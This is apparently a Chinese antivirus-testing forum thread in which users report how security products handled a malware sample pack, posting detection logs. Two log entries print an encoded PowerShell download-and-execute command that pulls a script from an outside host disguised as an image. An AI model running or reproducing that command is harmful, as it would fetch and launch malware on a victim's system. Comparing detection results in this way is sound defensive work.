9x (2024-07-18)

123456aaaafsdeg

双击：1



5/9

宝刀未老！

aboringman

123456aaaafsdeg 发表于 2024-7-18 22:13
（ADV=ON）

你没有更新病毒库吧，我这里杀5个

1. 风险路径：C:\Users\Killer\Desktop\9x (2024-07-18)\9x (2024-07-18)\1\decoded.ps1, 病毒名：ADV:TrojanSpy/PS.Stealer!meteor, 病毒ID：355bcd22ea5ec33a, 处理结果：已处理，删除文件
   
2. 风险路径：C:\Users\Killer\Desktop\9x (2024-07-18)\9x (2024-07-18)\1\EXECUTE_.exe, 病毒名：ADV:VirTool/MSIL.Obfuscator!meteor, 病毒ID：9b3fa4092c57ea79, 处理结果：已处理，删除文件
   
3. 风险路径：C:\Users\Killer\Desktop\9x (2024-07-18)\9x (2024-07-18)\1\j2RUN.exe, 病毒名：ADV:VirTool/MSIL.Obfuscator!meteor, 病毒ID：9b3fa4092c57ea79, 处理结果：已处理，删除文件
   
4. 风险路径：C:\Users\Killer\Desktop\9x (2024-07-18)\9x (2024-07-18)\1\SapphireX.exe, 病毒名：ADV:VirTool/Obfuscator!meteor, 病毒ID：b6b4d4a297409986, 处理结果：已处理，删除文件
   
5. 风险路径：C:\Users\Killer\Desktop\9x (2024-07-18)\9x (2024-07-18)\1\Built.exe, 病毒名：TrojanSpy/Python.Stealer.d, 病毒ID：d06410f9a3897eb1, 处理结果：已处理，删除文件

复制代码

不开的话只能杀1个。。。。。。

1. 风险路径：C:\Users\Killer\Desktop\9x (2024-07-18)\9x (2024-07-18)\1\Built.exe, 病毒名：TrojanSpy/Python.Stealer.d, 病毒ID：d06410f9a3897eb1, 处理结果：已处理，删除文件

复制代码

双击部分：

Adobe.msi：寄，畅通无阻甚至好像还更新了版本（  看来火绒对国外的后门远控大意了啊，没有闪（  ）



EXECUTE_.exe：本体被干掉，杀1衍生物

1. 病毒名称：Trojan/Injector.RA
   
2. 病毒路径：C:\Users\Killer\Desktop\9x (2024-07-18)\9x (2024-07-18)\1\EXECUTE_.exe
   
3. 操作结果：已处理
   
4. 
   
5. 进程ID：10236
   
6. 操作进程命令行："C:\Users\Killer\Desktop\9x (2024-07-18)\9x (2024-07-18)\1\EXECUTE_.exe"
   
7. 父进程ID：5408
   
8. 父进程：C:\Windows\explorer.exe
   
9. 父进程命令行：C:\Windows\Explorer.EXE

复制代码

j2RUN.exe：杀1衍生物（跟EXECUTE_.exe这个应该是同源，但是没有触发内存防护）

1. 病毒名称：TrojanSpy/Stealer.lf
   
2. 病毒ID：31CF10BB4786F717
   
3. 病毒路径：C:\Users\Killer\AppData\Roaming\d3d9.dll
   
4. 操作类型：修改
   
5. 操作结果：已处理，删除文件
   
6. 
   
7. 进程ID：828
   
8. 操作进程：C:\Users\Killer\Desktop\9x (2024-07-18)\9x (2024-07-18)\1\j2RUN.exe
   
9. 操作进程命令行："C:\Users\Killer\Desktop\9x (2024-07-18)\9x (2024-07-18)\1\j2RUN.exe"
   
10. 父进程ID：5408
    
11. 父进程：C:\Windows\explorer.exe

复制代码

listafamilia_caipira.doc：



放行

1. 病毒名称：Trojan/MSIL.Injector.fx
   
2. 病毒ID：87EB3A7B00E30394
   
3. 虚拟地址：0x0000000000400000
   
4. 映像大小：184KB
   
5. 是否完整映像：否
   
6. 数据流哈希：cbf6bc92
   
7. 操作结果：已处理
   
8. 进程ID：8512
   
9. 操作进程：C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
   
10. 操作进程命令行："C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    
11. 父进程ID：9884
    
12. 父进程：C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    
13. 父进程命令行："C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"  -e  SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AaABtAGgAZQBhAGwAdABoAHMAZQByAHYAaQBjAGUAcwAuAGkAbgAvAGEAZABtAGkAbgAvAGoAcwAvAHMAcQBqAHgASAB0AFoAUQBpADgALgBqAHAAZwAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""
    
14. 
    
15. 病毒名称：Trojan/MSIL.Injector.fx
    
16. 病毒ID：87EB3A7B00E30394
    
17. 虚拟地址：0x0000000000400000
    
18. 映像大小：184KB
    
19. 是否完整映像：否
    
20. 数据流哈希：751819cb
    
21. 操作结果：已处理
    
22. 进程ID：5512
    
23. 操作进程：C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    
24. 操作进程命令行："C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    
25. 父进程ID：2480
    
26. 父进程：C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    
27. 父进程命令行："C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"  -e  SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AaABtAGgAZQBhAGwAdABoAHMAZQByAHYAaQBjAGUAcwAuAGkAbgAvAGEAZABtAGkAbgAvAGoAcwAvAHMAcQBqAHgASAB0AFoAUQBpADgALgBqAHAAZwAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""

复制代码

decoded.ps1：无拦截



SapphireX.exe：



Software1.30.1.exe：（跟SapphireX.exe同源）



Vanban_8647_cuong_che_thi_hanh_quyet_dinh.pdf.lnk：C2已寄（？）

123456aaaafsdeg

aboringman 发表于 2024-7-18 22:19
你没有更新病毒库吧，我这里杀5个

更了。。。，7-18

123456aaaafsdeg

不说了

西风萧雨

360 KILL  3X

驭龙

诺顿V22，监控杀7，剩余2

莒县小哥

klub

莒县小哥 发表于 2024-7-19 07:58

你的MD有特殊设置吗?怎么每次差那么多?请教了！

莒县小哥

klub 发表于 2024-7-19 08:11
你的MD有特殊设置吗?怎么每次差那么多?请教了！

时间也差了很多啊

xcvbaby

金山毒霸（团队版UOS版）：5x